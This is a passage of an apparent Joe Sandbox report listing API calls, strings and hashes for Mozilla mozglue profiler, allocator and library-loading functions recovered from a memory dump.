Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

free.MOZGLUE(?), ref: 6C5549C6
free.MOZGLUE(?), ref: 6C5549E9

Part of subcall function 6C565E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C565EDB
Part of subcall function 6C565E90: memset.VCRUNTIME140(ewZl,000000E5,?), ref: 6C565F27
Part of subcall function 6C565E90: LeaveCriticalSection.KERNEL32(?), ref: 6C565FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C554A42
[I %d/%d] profiler_shutdown, xrefs: 6C554A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C554812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5547FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C554828

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: c547a5611e0edc041e830cbd470d9dd92b401ac589c1a3942f405f1b9d35e981
Instruction ID: afc7cad8a3002b8452e403f3a275a34c049ad9fdf6c60f7b9f9c610d482a6352
Opcode Fuzzy Hash: c547a5611e0edc041e830cbd470d9dd92b401ac589c1a3942f405f1b9d35e981
Instruction Fuzzy Hash: 5D81F375A005008BDB00DF68CC9475A37B5FF82328F95062EE91697B42E735EA74CB9A

Function 6C554470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C554730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5544B2,6C5CE21C,6C5CF7F8), ref: 6C55473E
Part of subcall function 6C554730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C55474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5544BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5544D2
InitOnceExecuteOnce.KERNEL32(6C5CF80C,6C54F240,?,?), ref: 6C55451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C55455C
LoadLibraryW.KERNEL32(?), ref: 6C554592
InitializeCriticalSection.KERNEL32(6C5CF770), ref: 6C5545A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5545AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5545BB
InitOnceExecuteOnce.KERNEL32(6C5CF818,6C54F240,?,?), ref: 6C554612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C554636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C554644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C55466D
VerSetConditionMask.NTDLL ref: 6C55469F
VerSetConditionMask.NTDLL ref: 6C5546AB
VerSetConditionMask.NTDLL ref: 6C5546B2
VerSetConditionMask.NTDLL ref: 6C5546B9
VerSetConditionMask.NTDLL ref: 6C5546C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5546CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5546F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5546FD

Strings

G\l, xrefs: 6C5544FC
user32.dll, xrefs: 6C554557, 6C55463F
l, xrefs: 6C554578
WRusr.dll, xrefs: 6C5544B5
kernel32.dll, xrefs: 6C5544CD
NativeNtBlockSet_Write, xrefs: 6C5546F7

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G\l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1094101574
Opcode ID: 74341f024f58f0052b0f35b6a345235f619f0ba98a59d28fc03c0ee8d0ff74c2
Instruction ID: 56a38a16312cca9c5f0b9c410d1631ae864e7c79a204f95e181f3e5a60cb9508
Opcode Fuzzy Hash: 74341f024f58f0052b0f35b6a345235f619f0ba98a59d28fc03c0ee8d0ff74c2
Instruction Fuzzy Hash: F96117B0B04344AFEB009FA0CC49BA97BF8EF46708F45C65EE5049B641D7B09A65CF95

Function 6C58F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C58F8F9

Part of subcall function 6C556390: GetCurrentThreadId.KERNEL32 ref: 6C5563D0
Part of subcall function 6C556390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5563DF
Part of subcall function 6C556390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C55640E

ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F93A
GetCurrentThreadId.KERNEL32 ref: 6C58F98A
GetCurrentThreadId.KERNEL32 ref: 6C58F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58F716

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

Part of subcall function 6C54B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C54B5E0

GetCurrentThreadId.KERNEL32 ref: 6C58F739
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F746
GetCurrentThreadId.KERNEL32 ref: 6C58F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5C385B,00000002,?,?,?,?,?), ref: 6C58F829
free.MOZGLUE(?,?,00000000,?), ref: 6C58F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C58F866
free.MOZGLUE(?), ref: 6C58FA0C

Part of subcall function 6C555E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5555E1), ref: 6C555E8C
Part of subcall function 6C555E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C555E9D
Part of subcall function 6C555E60: GetCurrentThreadId.KERNEL32 ref: 6C555EAB
Part of subcall function 6C555E60: GetCurrentThreadId.KERNEL32 ref: 6C555EB8
Part of subcall function 6C555E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C555ECF
Part of subcall function 6C555E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C555F27
Part of subcall function 6C555E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C555F47
Part of subcall function 6C555E60: GetCurrentProcess.KERNEL32 ref: 6C555F53
Part of subcall function 6C555E60: GetCurrentThread.KERNEL32 ref: 6C555F5C
Part of subcall function 6C555E60: GetCurrentProcess.KERNEL32 ref: 6C555F66
Part of subcall function 6C555E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C555F7E

free.MOZGLUE(?), ref: 6C58F9C5
free.MOZGLUE(?), ref: 6C58F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C58F9A6
" attempted to re-register as ", xrefs: 6C58F858
Thread , xrefs: 6C58F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C58F71F

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 005c3583aef9be7ab6b9a736eda30f7474905cfcbc4c6a0d2e118a44ba50f956
Instruction ID: b10810f7d453c7ae6965cd564e2d9e64e2e26f9288fda984dc96b103193ce877
Opcode Fuzzy Hash: 005c3583aef9be7ab6b9a736eda30f7474905cfcbc4c6a0d2e118a44ba50f956
Instruction Fuzzy Hash: B0812471601614DFDB00EF64CC80AAEB7A5EFC9308F41466DE8459BB12EB309D49CBA2

Function 6C58EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58EE60
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58EE6D
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C58EEA5
CloseHandle.KERNEL32(?), ref: 6C58EEB4
free.MOZGLUE(00000000), ref: 6C58EEBB
GetCurrentThreadId.KERNEL32 ref: 6C58EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58EECF

Part of subcall function 6C58DE60: GetCurrentThreadId.KERNEL32 ref: 6C58DE73
Part of subcall function 6C58DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C554A68), ref: 6C58DE7B
Part of subcall function 6C58DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C554A68), ref: 6C58DEB8
Part of subcall function 6C58DE60: free.MOZGLUE(00000000,?,6C554A68), ref: 6C58DEFE
Part of subcall function 6C58DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C58DF38

Part of subcall function 6C57CBE8: GetCurrentProcess.KERNEL32(?,6C5431A7), ref: 6C57CBF1
Part of subcall function 6C57CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5431A7), ref: 6C57CBFA

GetCurrentThreadId.KERNEL32 ref: 6C58EF1E
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58EF2B
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58EF59
GetCurrentThreadId.KERNEL32 ref: 6C58EFB0
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58EFBD
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58EFE1
GetCurrentThreadId.KERNEL32 ref: 6C58EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58F000

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C58F02F

Part of subcall function 6C58F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C58F09B
Part of subcall function 6C58F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C58F0AC
Part of subcall function 6C58F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C58F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C58EED7
[I %d/%d] profiler_pause, xrefs: 6C58F008

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 98eb309ca2cd9eb2bc89462db313d3d0779f33eb66408f99a28b6e1acc5c018b
Instruction ID: b27f5509daeb36c219e600ce9efdef9fa65d3ff39235ec49f08646cc756472e0
Opcode Fuzzy Hash: 98eb309ca2cd9eb2bc89462db313d3d0779f33eb66408f99a28b6e1acc5c018b
Instruction Fuzzy Hash: 2E51F539701A20DFDB00ABA4DC487A577B8EB86319F12071DE91583B41DBB94A44CBFB

Function 6C57D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5CE804), ref: 6C57D047
GetSystemInfo.KERNEL32(?), ref: 6C57D093
__Init_thread_footer.LIBCMT ref: 6C57D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5CE810,00000040), ref: 6C57D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE7B8,00001388), ref: 6C57D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE744,00001388), ref: 6C57D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE784,00001388), ref: 6C57D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE7DC,00001388), ref: 6C57D1B1

Strings

MOZ_CRASH(), xrefs: 6C57D277
MALLOC_OPTIONS, xrefs: 6C57D0CB
<jemalloc>, xrefs: 6C57D268, 6C57D311
Compile-time page size does not divide the runtime one., xrefs: 6C57D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C57D322

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 28d8130be4f4f0e4521f885951fc43254f240ef7080137892576c7a138918a04
Instruction ID: 0a6cca7eda70c1342bcaa532392f0b85a8f4be6667e8f7e023721fe40576f005
Opcode Fuzzy Hash: 28d8130be4f4f0e4521f885951fc43254f240ef7080137892576c7a138918a04
Instruction Fuzzy Hash: 46812B70B006409BEB20DFA8CC96B6977F5FB46704F11051DE801A7F80D7B59A55CBEA

Function 6C557FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C558007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C55801D

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C55802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C55803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C55808D

Part of subcall function 6C55CA10: mozalloc_abort.MOZGLUE(?), ref: 6C55CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C55809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5580B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5580DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5580ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5580FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C55810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C558133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C558149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C558167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C55817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C558199

Strings

0>Xl, xrefs: 6C55811E

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Xl
API String ID: 2721933968-3388740872
Opcode ID: 1d6e043ff64621cc618c9eb4cb587dd18c4fcc270e7efb8edcaa2ff9bd468a47
Instruction ID: 2a54edea77a83bbd912d64af98dca5442ae6ec489effb9fe7fe23b86f45bdd27
Opcode Fuzzy Hash: 1d6e043ff64621cc618c9eb4cb587dd18c4fcc270e7efb8edcaa2ff9bd468a47
Instruction Fuzzy Hash: CE5195B1E402149BDF00DBA5DC85AEFBBB9EF89224F540126E815F7751E730AD14CBA1

Function 6C555E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C555E9D

Part of subcall function 6C565B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5656EE,?,00000001), ref: 6C565B85
Part of subcall function 6C565B50: EnterCriticalSection.KERNEL32(6C5CF688,?,?,?,6C5656EE,?,00000001), ref: 6C565B90
Part of subcall function 6C565B50: LeaveCriticalSection.KERNEL32(6C5CF688,?,?,?,6C5656EE,?,00000001), ref: 6C565BD8
Part of subcall function 6C565B50: GetTickCount64.KERNEL32 ref: 6C565BE4

GetCurrentThreadId.KERNEL32 ref: 6C555EAB
GetCurrentThreadId.KERNEL32 ref: 6C555EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C555ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C556017

Part of subcall function 6C544310: moz_xmalloc.MOZGLUE(00000010,?,6C5442D2), ref: 6C54436A
Part of subcall function 6C544310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5442D2), ref: 6C544387

moz_xmalloc.MOZGLUE(00000004), ref: 6C555F47
GetCurrentProcess.KERNEL32 ref: 6C555F53
GetCurrentThread.KERNEL32 ref: 6C555F5C
GetCurrentProcess.KERNEL32 ref: 6C555F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C555F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C555F27

Part of subcall function 6C55CA10: mozalloc_abort.MOZGLUE(?), ref: 6C55CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5555E1), ref: 6C555E8C

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5555E1), ref: 6C55605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5555E1), ref: 6C5560CC

Strings

GeckoMain, xrefs: 6C555ECE, 6C556015

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 52d9bc8e7556efbe2634647f503ef371ba603d0e9b4c3071ccb75cf80c488545
Instruction ID: 53d4b92cba22ee41dbec159590fd2c5bdf8e50166d3e776bab40a3b06d780317
Opcode Fuzzy Hash: 52d9bc8e7556efbe2634647f503ef371ba603d0e9b4c3071ccb75cf80c488545
Instruction Fuzzy Hash: CE71C4B0604780DFD710DF24C880A6ABBF0FF99304F94496EE48687B52D771E958CB92

Function 6C559590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5431C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C543217
Part of subcall function 6C5431C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C543236
Part of subcall function 6C5431C0: FreeLibrary.KERNEL32 ref: 6C54324B
Part of subcall function 6C5431C0: __Init_thread_footer.LIBCMT ref: 6C543260
Part of subcall function 6C5431C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C54327F
Part of subcall function 6C5431C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C54328E
Part of subcall function 6C5431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5432AB
Part of subcall function 6C5431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5432D1
Part of subcall function 6C5431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5432E5
Part of subcall function 6C5431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5432F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C559675
__Init_thread_footer.LIBCMT ref: 6C559697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C559707
__Init_thread_footer.LIBCMT ref: 6C55971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C559773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5597B7
FreeLibrary.KERNEL32 ref: 6C5597D0
FreeLibrary.KERNEL32 ref: 6C5597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C559824

Strings

NtMapViewOfSection, xrefs: 6C559701
ntdll.dll, xrefs: 6C5596E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C559670
MapViewOfFileNuma2, xrefs: 6C5597B1

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

